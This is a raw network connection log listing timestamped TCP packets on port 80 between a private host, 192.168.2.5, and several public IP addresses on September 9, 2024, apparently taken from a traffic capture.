Sep 9, 2024 10:42:07.641097069 CEST	49270	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:08.701098919 CEST	49270	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:09.720510960 CEST	49272	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:09.725827932 CEST	80	49272	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:09.725986004 CEST	49272	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:09.738864899 CEST	49272	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:09.743763924 CEST	80	49272	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:10.195627928 CEST	80	49272	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:10.195667028 CEST	80	49272	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:10.195862055 CEST	49272	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:10.199553967 CEST	80	49272	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:10.199646950 CEST	49272	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:10.200512886 CEST	49272	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:10.205248117 CEST	80	49272	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:15.716193914 CEST	49273	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:15.721071005 CEST	80	49273	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:15.721226931 CEST	49273	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:15.733175993 CEST	49273	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:15.738043070 CEST	80	49273	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:16.650641918 CEST	80	49273	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:16.650670052 CEST	80	49273	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:16.650830984 CEST	49273	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:17.248229980 CEST	49273	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:18.267463923 CEST	49274	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:18.272361994 CEST	80	49274	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:18.272468090 CEST	49274	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:18.283127069 CEST	49274	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:18.287971973 CEST	80	49274	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:19.202321053 CEST	80	49274	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:19.202434063 CEST	80	49274	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:19.202501059 CEST	49274	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:19.820962906 CEST	49274	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:20.829375029 CEST	49275	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:20.834244967 CEST	80	49275	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:20.834337950 CEST	49275	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:20.846055031 CEST	49275	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:20.850929976 CEST	80	49275	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:20.851042032 CEST	80	49275	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:22.191095114 CEST	80	49275	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:22.191279888 CEST	80	49275	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:22.191289902 CEST	80	49275	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:22.191354036 CEST	49275	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:22.357559919 CEST	49275	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:23.376507998 CEST	49276	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:23.381473064 CEST	80	49276	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:23.381601095 CEST	49276	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:23.389444113 CEST	49276	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:23.394318104 CEST	80	49276	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:24.265774965 CEST	80	49276	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:24.266036987 CEST	80	49276	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:24.266103029 CEST	49276	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:24.269398928 CEST	49276	80	192.168.2.5	154.23.184.240
Sep 9, 2024 10:42:24.274240971 CEST	80	49276	154.23.184.240	192.168.2.5
Sep 9, 2024 10:42:42.949181080 CEST	49281	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:42.955200911 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:42.955307961 CEST	49281	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:42.967225075 CEST	49281	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:42.972907066 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.707916021 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.707928896 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.707979918 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.707988024 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.708003044 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.708012104 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.708019972 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.708025932 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.708034992 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.708043098 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.708091021 CEST	49281	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:43.708143950 CEST	49281	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:43.712965965 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.712985039 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.712992907 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.713093042 CEST	49281	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:43.794835091 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.794852018 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.794859886 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.794933081 CEST	80	49281	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:43.795250893 CEST	49281	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:44.482311010 CEST	49281	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:45.502146959 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:45.507153988 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:45.507308006 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:45.520103931 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:45.526133060 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461638927 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461667061 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461679935 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461694956 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461707115 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461716890 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461726904 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461738110 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461746931 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:46.461752892 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461766958 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.461786985 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:46.461812973 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:46.466603994 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.466667891 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.466681004 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.466691017 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.466708899 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:46.466743946 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:46.552011013 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.552042961 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.552082062 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.552108049 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.552107096 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:46.552144051 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:46.552397013 CEST	80	49282	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:46.552440882 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:47.029448986 CEST	49282	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.048796892 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.053745985 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.054869890 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.067106009 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.071978092 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.072000980 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.739783049 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.739819050 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.739895105 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.739905119 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.740022898 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.740058899 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.740068913 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.740083933 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.740122080 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.740242004 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.740257025 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.740273952 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.740292072 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.740303040 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.740343094 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.744836092 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.744913101 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.744957924 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.744963884 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.794763088 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.826569080 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.826595068 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.826610088 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.826683998 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:48.826924086 CEST	80	49283	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:48.827084064 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:49.578922987 CEST	49283	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:50.596853971 CEST	49284	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:50.602850914 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:50.602931023 CEST	49284	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:50.614120007 CEST	49284	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:50.619115114 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249588013 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249603987 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249609947 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249615908 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249622107 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249627113 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249640942 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249646902 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249658108 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249664068 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.249824047 CEST	49284	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:51.249824047 CEST	49284	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:51.255521059 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.255528927 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.255534887 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.255552053 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.255739927 CEST	49284	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:51.337733030 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.337757111 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.337763071 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.337863922 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:51.338001966 CEST	49284	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:51.338001966 CEST	49284	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:51.344791889 CEST	49284	80	192.168.2.5	162.0.239.141
Sep 9, 2024 10:42:51.353681087 CEST	80	49284	162.0.239.141	192.168.2.5
Sep 9, 2024 10:42:56.517918110 CEST	49285	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:56.525475979 CEST	80	49285	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:56.525558949 CEST	49285	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:56.544389963 CEST	49285	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:56.551906109 CEST	80	49285	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:56.980406046 CEST	80	49285	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:56.980424881 CEST	80	49285	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:56.980510950 CEST	49285	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:56.980539083 CEST	80	49285	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:56.980614901 CEST	49285	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:58.062966108 CEST	49285	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:59.079338074 CEST	49286	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:59.084232092 CEST	80	49286	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:59.084306955 CEST	49286	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:59.098887920 CEST	49286	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:59.104015112 CEST	80	49286	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:59.560657024 CEST	80	49286	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:59.560669899 CEST	80	49286	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:59.560713053 CEST	80	49286	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:59.560750961 CEST	49286	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:59.560853004 CEST	49286	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:00.607537031 CEST	49286	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:01.626813889 CEST	49287	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:01.632013083 CEST	80	49287	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:01.635051966 CEST	49287	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:01.654810905 CEST	49287	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:01.659849882 CEST	80	49287	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:01.659857035 CEST	80	49287	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:02.118901014 CEST	80	49287	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:02.119231939 CEST	80	49287	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:02.119241953 CEST	80	49287	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:02.119278908 CEST	49287	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:02.119307041 CEST	49287	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:03.156817913 CEST	49287	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:04.174120903 CEST	49288	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:04.179747105 CEST	80	49288	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:04.179819107 CEST	49288	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:04.189949989 CEST	49288	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:04.195812941 CEST	80	49288	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:04.636631012 CEST	80	49288	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:04.636651039 CEST	80	49288	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:04.636661053 CEST	80	49288	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:04.636807919 CEST	49288	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:04.640700102 CEST	49288	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:43:04.645653009 CEST	80	49288	199.59.243.226	192.168.2.5
Sep 9, 2024 10:43:34.443501949 CEST	49289	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:34.448968887 CEST	80	49289	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:34.449045897 CEST	49289	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:34.463267088 CEST	49289	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:34.474745989 CEST	80	49289	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:35.074706078 CEST	80	49289	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:35.074718952 CEST	80	49289	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:35.074732065 CEST	80	49289	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:35.074949980 CEST	49289	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:35.968785048 CEST	49289	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:36.985827923 CEST	49290	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:36.990636110 CEST	80	49290	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:36.990761042 CEST	49290	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:37.005475044 CEST	49290	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:37.011503935 CEST	80	49290	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:37.713452101 CEST	80	49290	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:37.713463068 CEST	80	49290	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:37.713469028 CEST	80	49290	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:37.713479042 CEST	80	49290	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:37.713562012 CEST	49290	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:38.513564110 CEST	49290	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:39.532821894 CEST	49291	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:39.537622929 CEST	80	49291	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:39.538954973 CEST	49291	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:39.551347971 CEST	49291	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:39.556242943 CEST	80	49291	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:39.556354046 CEST	80	49291	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:40.160691023 CEST	80	49291	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:40.161263943 CEST	80	49291	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:40.161310911 CEST	49291	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:40.241153955 CEST	80	49291	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:40.241209030 CEST	49291	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:41.060645103 CEST	49291	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:42.079838991 CEST	49292	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:42.084779978 CEST	80	49292	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:42.088921070 CEST	49292	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:42.100832939 CEST	49292	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:42.105911970 CEST	80	49292	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:42.705970049 CEST	80	49292	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:42.705987930 CEST	80	49292	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:42.705998898 CEST	80	49292	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:42.706063986 CEST	80	49292	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:42.706151009 CEST	49292	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:42.706188917 CEST	49292	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:42.712205887 CEST	49292	80	192.168.2.5	161.97.168.245
Sep 9, 2024 10:43:42.717048883 CEST	80	49292	161.97.168.245	192.168.2.5
Sep 9, 2024 10:43:47.735423088 CEST	49293	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:47.740199089 CEST	80	49293	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:47.740318060 CEST	49293	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:47.752834082 CEST	49293	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:47.757811069 CEST	80	49293	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:48.226907015 CEST	80	49293	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:48.226968050 CEST	49293	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:49.263761044 CEST	49293	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:49.268675089 CEST	80	49293	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:50.283476114 CEST	49294	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:50.288593054 CEST	80	49294	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:50.288669109 CEST	49294	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:50.302851915 CEST	49294	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:50.308343887 CEST	80	49294	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:50.757148027 CEST	80	49294	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:50.757266045 CEST	49294	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:51.810898066 CEST	49294	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:51.816402912 CEST	80	49294	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:52.829648972 CEST	49295	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:52.834651947 CEST	80	49295	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:52.834747076 CEST	49295	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:52.847294092 CEST	49295	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:52.852250099 CEST	80	49295	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:52.852320910 CEST	80	49295	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:53.292268038 CEST	80	49295	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:53.292937994 CEST	49295	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:54.357378960 CEST	49295	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:54.362502098 CEST	80	49295	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:55.376312017 CEST	49296	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:55.381511927 CEST	80	49296	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:55.383261919 CEST	49296	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:55.394865990 CEST	49296	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:55.399754047 CEST	80	49296	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:55.850140095 CEST	80	49296	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:55.850254059 CEST	80	49296	3.33.130.190	192.168.2.5
Sep 9, 2024 10:43:55.850328922 CEST	49296	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:55.853341103 CEST	49296	80	192.168.2.5	3.33.130.190
Sep 9, 2024 10:43:55.858336926 CEST	80	49296	3.33.130.190	192.168.2.5
Sep 9, 2024 10:44:01.957536936 CEST	49297	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:01.962657928 CEST	80	49297	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:01.964075089 CEST	49297	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:01.978856087 CEST	49297	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:01.985244036 CEST	80	49297	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:03.225127935 CEST	80	49297	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:03.225146055 CEST	80	49297	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:03.225161076 CEST	80	49297	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:03.225166082 CEST	80	49297	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:03.225243092 CEST	49297	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:03.225348949 CEST	80	49297	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:03.225498915 CEST	49297	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:03.482382059 CEST	49297	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:04.504241943 CEST	49298	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:04.512738943 CEST	80	49298	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:04.512825966 CEST	49298	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:04.527844906 CEST	49298	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:04.532685041 CEST	80	49298	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:05.499183893 CEST	80	49298	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:05.499214888 CEST	80	49298	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:05.499221087 CEST	80	49298	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:05.503173113 CEST	49298	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:06.044902086 CEST	49298	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:07.073185921 CEST	49299	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:07.078219891 CEST	80	49299	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:07.078334093 CEST	49299	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:07.090302944 CEST	49299	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:07.095274925 CEST	80	49299	218.247.68.184	192.168.2.5
